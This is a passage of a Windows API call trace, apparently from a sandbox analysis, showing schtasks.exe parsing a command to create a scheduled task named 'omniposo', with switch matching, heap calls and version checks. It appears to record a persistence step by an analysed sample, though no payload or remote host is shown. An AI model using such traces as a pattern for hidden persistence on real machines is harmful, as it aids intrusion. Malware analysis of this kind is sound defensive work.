() returned 0x330000 [0141.530] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cdc0) returned 0x20 [0141.531] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cdc0 | out: hHeap=0x330000) returned 1 [0141.531] GetProcessHeap () returned 0x330000 [0141.531] GetProcessHeap () returned 0x330000 [0141.531] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34ddf0) returned 1 [0141.531] GetProcessHeap () returned 0x330000 [0141.531] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34ddf0) returned 0x6 [0141.531] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ddf0 | out: hHeap=0x330000) returned 1 [0141.531] GetProcessHeap () returned 0x330000 [0141.531] GetProcessHeap () returned 0x330000 [0141.531] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cdf0) returned 1 [0141.531] GetProcessHeap () returned 0x330000 [0141.531] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cdf0) returned 0x20 [0141.532] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cdf0 | out: hHeap=0x330000) returned 1 [0141.532] GetProcessHeap () returned 0x330000 [0141.532] GetProcessHeap () returned 0x330000 [0141.532] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34b9d0) returned 1 [0141.532] GetProcessHeap () returned 0x330000 [0141.532] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34b9d0) returned 0x18 [0141.532] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34b9d0 | out: hHeap=0x330000) returned 1 [0141.532] SetLastError (dwErrCode=0x0) [0141.533] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0141.533] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0141.533] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0141.533] VerifyVersionInfoW (in: lpVersionInformation=0x1bc2b0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1bc2b0) returned 1 [0141.533] SetLastError (dwErrCode=0x0) [0141.533] lstrlenW (lpString="create") returned 6 [0141.533] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0141.533] SetLastError (dwErrCode=0x490) [0141.533] SetLastError (dwErrCode=0x0) [0141.533] lstrlenW (lpString="create") returned 6 [0141.533] GetProcessHeap () returned 0x330000 [0141.533] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cdf0 [0141.533] GetProcessHeap () returned 0x330000 [0141.533] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x18) returned 0x34d520 [0141.533] _memicmp (_Buf1=0x34d520, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.533] GetProcessHeap () returned 0x330000 [0141.533] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x16) returned 0x34d540 [0141.533] SetLastError (dwErrCode=0x0) [0141.533] _memicmp (_Buf1=0x34ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.533] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x34bc30, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0141.533] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0141.534] GetProcessHeap () returned 0x330000 [0141.534] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x74e) returned 0x34dd50 [0141.534] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x34dd50 | out: lpData=0x34dd50) returned 1 [0141.534] VerQueryValueW (in: pBlock=0x34dd50, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1bc398, puLen=0x1bc400 | out: lplpBuffer=0x1bc398*=0x34e0ec, puLen=0x1bc400) returned 1 [0141.534] _memicmp (_Buf1=0x34ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.534] _vsnwprintf (in: _Buffer=0x34bc30, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1bc378 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0141.534] VerQueryValueW (in: pBlock=0x34dd50, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1bc408, puLen=0x1bc3f8 | out: lplpBuffer=0x1bc408*=0x34df18, puLen=0x1bc3f8) returned 1 [0141.534] lstrlenW (lpString="schtasks.exe") returned 12 [0141.534] lstrlenW (lpString="schtasks.exe") returned 12 [0141.534] lstrlenW (lpString=".EXE") returned 4 [0141.534] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0141.534] lstrlenW (lpString="schtasks.exe") returned 12 [0141.535] lstrlenW (lpString=".EXE") returned 4 [0141.535] lstrlenW (lpString="schtasks") returned 8 [0141.535] lstrlenW (lpString="/create") returned 7 [0141.535] _memicmp (_Buf1=0x34ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.535] _vsnwprintf (in: _Buffer=0x34bc30, _BufferCount=0x19, _Format="%s %s", _ArgList=0x1bc378 | out: _Buffer="schtasks /create") returned 16 [0141.535] _memicmp (_Buf1=0x34bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.535] GetProcessHeap () returned 0x330000 [0141.535] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cdc0 [0141.535] _memicmp (_Buf1=0x34bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.535] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x34d2c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0141.535] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0141.535] GetProcessHeap () returned 0x330000 [0141.535] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x30) returned 0x347ac0 [0141.535] _vsnwprintf (in: _Buffer=0x34c030, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1bc378 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0141.535] GetProcessHeap () returned 0x330000 [0141.535] GetProcessHeap () returned 0x330000 [0141.535] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34dd50) returned 1 [0141.535] GetProcessHeap () returned 0x330000 [0141.535] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34dd50) returned 0x74e [0141.536] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34dd50 | out: hHeap=0x330000) returned 1 [0141.536] SetLastError (dwErrCode=0x0) [0141.536] GetThreadLocale () returned 0x409 [0141.536] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.536] lstrlenW (lpString="create") returned 6 [0141.536] GetThreadLocale () returned 0x409 [0141.536] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.536] lstrlenW (lpString="?") returned 1 [0141.536] GetThreadLocale () returned 0x409 [0141.536] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.536] lstrlenW (lpString="s") returned 1 [0141.536] GetThreadLocale () returned 0x409 [0141.536] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.536] lstrlenW (lpString="u") returned 1 [0141.536] GetThreadLocale () returned 0x409 [0141.536] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.536] lstrlenW (lpString="p") returned 1 [0141.536] GetThreadLocale () returned 0x409 [0141.536] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.536] lstrlenW (lpString="ru") returned 2 [0141.536] GetThreadLocale () returned 0x409 [0141.536] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.536] lstrlenW (lpString="rp") returned 2 [0141.536] GetThreadLocale () returned 0x409 [0141.536] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.536] lstrlenW (lpString="sc") returned 2 [0141.536] GetThreadLocale () returned 0x409 [0141.536] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.536] lstrlenW (lpString="mo") returned 2 [0141.536] GetThreadLocale () returned 0x409 [0141.536] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.536] lstrlenW (lpString="d") returned 1 [0141.536] GetThreadLocale () returned 0x409 [0141.536] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.536] lstrlenW (lpString="m") returned 1 [0141.537] GetThreadLocale () returned 0x409 [0141.537] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.537] lstrlenW (lpString="i") returned 1 [0141.537] GetThreadLocale () returned 0x409 [0141.537] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.537] lstrlenW (lpString="tn") returned 2 [0141.537] GetThreadLocale () returned 0x409 [0141.537] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.537] lstrlenW (lpString="tr") returned 2 [0141.537] GetThreadLocale () returned 0x409 [0141.537] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.537] lstrlenW (lpString="st") returned 2 [0141.537] GetThreadLocale () returned 0x409 [0141.537] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.537] lstrlenW (lpString="sd") returned 2 [0141.537] GetThreadLocale () returned 0x409 [0141.537] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.537] lstrlenW (lpString="ed") returned 2 [0141.537] GetThreadLocale () returned 0x409 [0141.537] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.537] lstrlenW (lpString="it") returned 2 [0141.537] GetThreadLocale () returned 0x409 [0141.537] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.537] lstrlenW (lpString="et") returned 2 [0141.537] GetThreadLocale () returned 0x409 [0141.537] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.537] lstrlenW (lpString="k") returned 1 [0141.537] GetThreadLocale () returned 0x409 [0141.537] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.537] lstrlenW (lpString="du") returned 2 [0141.537] GetThreadLocale () returned 0x409 [0141.537] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.537] lstrlenW (lpString="ri") returned 2 [0141.537] GetThreadLocale () returned 0x409 [0141.537] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.537] lstrlenW (lpString="z") returned 1 [0141.537] GetThreadLocale () returned 0x409 [0141.538] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.538] lstrlenW (lpString="f") returned 1 [0141.538] GetThreadLocale () returned 0x409 [0141.538] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.538] lstrlenW (lpString="v1") returned 2 [0141.538] GetThreadLocale () returned 0x409 [0141.538] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.538] lstrlenW (lpString="xml") returned 3 [0141.538] GetThreadLocale () returned 0x409 [0141.538] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.538] lstrlenW (lpString="ec") returned 2 [0141.538] GetThreadLocale () returned 0x409 [0141.538] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.538] lstrlenW (lpString="rl") returned 2 [0141.538] GetThreadLocale () returned 0x409 [0141.538] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.538] lstrlenW (lpString="delay") returned 5 [0141.538] GetThreadLocale () returned 0x409 [0141.538] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0141.538] lstrlenW (lpString="np") returned 2 [0141.538] SetLastError (dwErrCode=0x0) [0141.538] SetLastError (dwErrCode=0x0) [0141.538] lstrlenW (lpString="/create") returned 7 [0141.538] lstrlenW (lpString="-/") returned 2 [0141.538] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0141.538] lstrlenW (lpString="create") returned 6 [0141.538] lstrlenW (lpString="create") returned 6 [0141.538] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.538] lstrlenW (lpString="create") returned 6 [0141.538] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.538] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|create|") returned 8 [0141.538] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|create|") returned 8 [0141.538] lstrlenW (lpString="|create|") returned 8 [0141.538] lstrlenW (lpString="|create|") returned 8 [0141.539] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0141.539] SetLastError (dwErrCode=0x0) [0141.539] SetLastError (dwErrCode=0x0) [0141.539] SetLastError (dwErrCode=0x0) [0141.539] lstrlenW (lpString="/tn") returned 3 [0141.539] lstrlenW (lpString="-/") returned 2 [0141.539] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0141.539] lstrlenW (lpString="create") returned 6 [0141.539] lstrlenW (lpString="create") returned 6 [0141.539] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.539] lstrlenW (lpString="tn") returned 2 [0141.539] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.539] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|create|") returned 8 [0141.539] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tn|") returned 4 [0141.539] lstrlenW (lpString="|create|") returned 8 [0141.539] lstrlenW (lpString="|tn|") returned 4 [0141.539] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0141.539] SetLastError (dwErrCode=0x490) [0141.539] lstrlenW (lpString="?") returned 1 [0141.539] lstrlenW (lpString="?") returned 1 [0141.539] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.539] lstrlenW (lpString="tn") returned 2 [0141.539] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.539] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|?|") returned 3 [0141.539] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tn|") returned 4 [0141.539] lstrlenW (lpString="|?|") returned 3 [0141.539] lstrlenW (lpString="|tn|") returned 4 [0141.539] SetLastError (dwErrCode=0x490) [0141.539] lstrlenW (lpString="s") returned 1 [0141.539] lstrlenW (lpString="s") returned 1 [0141.539] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.539] lstrlenW (lpString="tn") returned 2 [0141.539] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.540] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|s|") returned 3 [0141.540] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tn|") returned 4 [0141.540] lstrlenW (lpString="|s|") returned 3 [0141.540] lstrlenW (lpString="|tn|") returned 4 [0141.540] SetLastError (dwErrCode=0x490) [0141.540] lstrlenW (lpString="u") returned 1 [0141.540] lstrlenW (lpString="u") returned 1 [0141.540] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.540] lstrlenW (lpString="tn") returned 2 [0141.540] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.540] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|u|") returned 3 [0141.540] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tn|") returned 4 [0141.540] lstrlenW (lpString="|u|") returned 3 [0141.540] lstrlenW (lpString="|tn|") returned 4 [0141.540] SetLastError (dwErrCode=0x490) [0141.540] lstrlenW (lpString="p") returned 1 [0141.540] lstrlenW (lpString="p") returned 1 [0141.540] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.540] lstrlenW (lpString="tn") returned 2 [0141.540] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.540] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|p|") returned 3 [0141.540] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tn|") returned 4 [0141.540] lstrlenW (lpString="|p|") returned 3 [0141.540] lstrlenW (lpString="|tn|") returned 4 [0141.540] SetLastError (dwErrCode=0x490) [0141.540] lstrlenW (lpString="ru") returned 2 [0141.540] lstrlenW (lpString="ru") returned 2 [0141.540] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.540] lstrlenW (lpString="tn") returned 2 [0141.540] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.541] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|ru|") returned 4 [0141.541] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tn|") returned 4 [0141.541] lstrlenW (lpString="|ru|") returned 4 [0141.541] lstrlenW (lpString="|tn|") returned 4 [0141.541] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0141.541] SetLastError (dwErrCode=0x490) [0141.541] lstrlenW (lpString="rp") returned 2 [0141.541] lstrlenW (lpString="rp") returned 2 [0141.541] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.541] lstrlenW (lpString="tn") returned 2 [0141.541] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.541] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|rp|") returned 4 [0141.541] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tn|") returned 4 [0141.541] lstrlenW (lpString="|rp|") returned 4 [0141.541] lstrlenW (lpString="|tn|") returned 4 [0141.541] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0141.541] SetLastError (dwErrCode=0x490) [0141.541] lstrlenW (lpString="sc") returned 2 [0141.541] lstrlenW (lpString="sc") returned 2 [0141.541] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.541] lstrlenW (lpString="tn") returned 2 [0141.541] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.541] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|sc|") returned 4 [0141.541] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tn|") returned 4 [0141.541] lstrlenW (lpString="|sc|") returned 4 [0141.541] lstrlenW (lpString="|tn|") returned 4 [0141.541] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0141.541] SetLastError (dwErrCode=0x490) [0141.541] lstrlenW (lpString="mo") returned 2 [0141.541] lstrlenW (lpString="mo") returned 2 [0141.541] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.542] lstrlenW (lpString="tn") returned 2 [0141.542] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.542] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|mo|") returned 4 [0141.542] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tn|") returned 4 [0141.542] lstrlenW (lpString="|mo|") returned 4 [0141.542] lstrlenW (lpString="|tn|") returned 4 [0141.542] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0141.542] SetLastError (dwErrCode=0x490) [0141.542] lstrlenW (lpString="d") returned 1 [0141.542] lstrlenW (lpString="d") returned 1 [0141.542] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.542] lstrlenW (lpString="tn") returned 2 [0141.542] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.542] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|d|") returned 3 [0141.542] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tn|") returned 4 [0141.542] lstrlenW (lpString="|d|") returned 3 [0141.542] lstrlenW (lpString="|tn|") returned 4 [0141.542] SetLastError (dwErrCode=0x490) [0141.542] lstrlenW (lpString="m") returned 1 [0141.542] lstrlenW (lpString="m") returned 1 [0141.542] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.542] lstrlenW (lpString="tn") returned 2 [0141.542] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.542] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|m|") returned 3 [0141.542] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tn|") returned 4 [0141.542] lstrlenW (lpString="|m|") returned 3 [0141.542] lstrlenW (lpString="|tn|") returned 4 [0141.542] SetLastError (dwErrCode=0x490) [0141.542] lstrlenW (lpString="i") returned 1 [0141.542] lstrlenW (lpString="i") returned 1 [0141.542] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.543] lstrlenW (lpString="tn") returned 2 [0141.543] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.543] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|i|") returned 3 [0141.543] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tn|") returned 4 [0141.543] lstrlenW (lpString="|i|") returned 3 [0141.543] lstrlenW (lpString="|tn|") returned 4 [0141.543] SetLastError (dwErrCode=0x490) [0141.543] lstrlenW (lpString="tn") returned 2 [0141.543] lstrlenW (lpString="tn") returned 2 [0141.543] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.543] lstrlenW (lpString="tn") returned 2 [0141.543] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.543] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tn|") returned 4 [0141.543] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|tn|") returned 4 [0141.543] lstrlenW (lpString="|tn|") returned 4 [0141.543] lstrlenW (lpString="|tn|") returned 4 [0141.543] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0141.543] SetLastError (dwErrCode=0x0) [0141.543] SetLastError (dwErrCode=0x0) [0141.543] lstrlenW (lpString="omniposo") returned 8 [0141.543] lstrlenW (lpString="-/") returned 2 [0141.543] StrChrIW (lpStart="-/", wMatch=0x6f) returned 0x0 [0141.543] SetLastError (dwErrCode=0x490) [0141.543] SetLastError (dwErrCode=0x490) [0141.543] SetLastError (dwErrCode=0x0) [0141.543] lstrlenW (lpString="omniposo") returned 8 [0141.543] StrChrIW (lpStart="omniposo", wMatch=0x3a) returned 0x0 [0141.543] SetLastError (dwErrCode=0x490) [0141.543] SetLastError (dwErrCode=0x0) [0141.543] lstrlenW (lpString="omniposo") returned 8 [0141.543] SetLastError (dwErrCode=0x0) [0141.543] SetLastError (dwErrCode=0x0) [0141.543] lstrlenW (lpString="/sc") returned 3 [0141.543] lstrlenW (lpString="-/") returned 2 [0141.544] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0141.544] lstrlenW (lpString="create") returned 6 [0141.544] lstrlenW (lpString="create") returned 6 [0141.544] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.544] lstrlenW (lpString="sc") returned 2 [0141.544] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.544] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|create|") returned 8 [0141.544] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|sc|") returned 4 [0141.544] lstrlenW (lpString="|create|") returned 8 [0141.544] lstrlenW (lpString="|sc|") returned 4 [0141.544] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0141.544] SetLastError (dwErrCode=0x490) [0141.544] lstrlenW (lpString="?") returned 1 [0141.544] lstrlenW (lpString="?") returned 1 [0141.544] _memicmp (_Buf1=0x34c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.544] lstrlenW (lpString="sc") returned 2 [0141.544] _memicmp (_Buf1=0x34c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.544] _vsnwprintf (in: _Buffer=0x34c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|?|") returned 3 [0141.544] _vsnwprintf (in: _Buffer=0x34c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc388 | out: _Buffer="|sc|") returned 4 [0141.544] 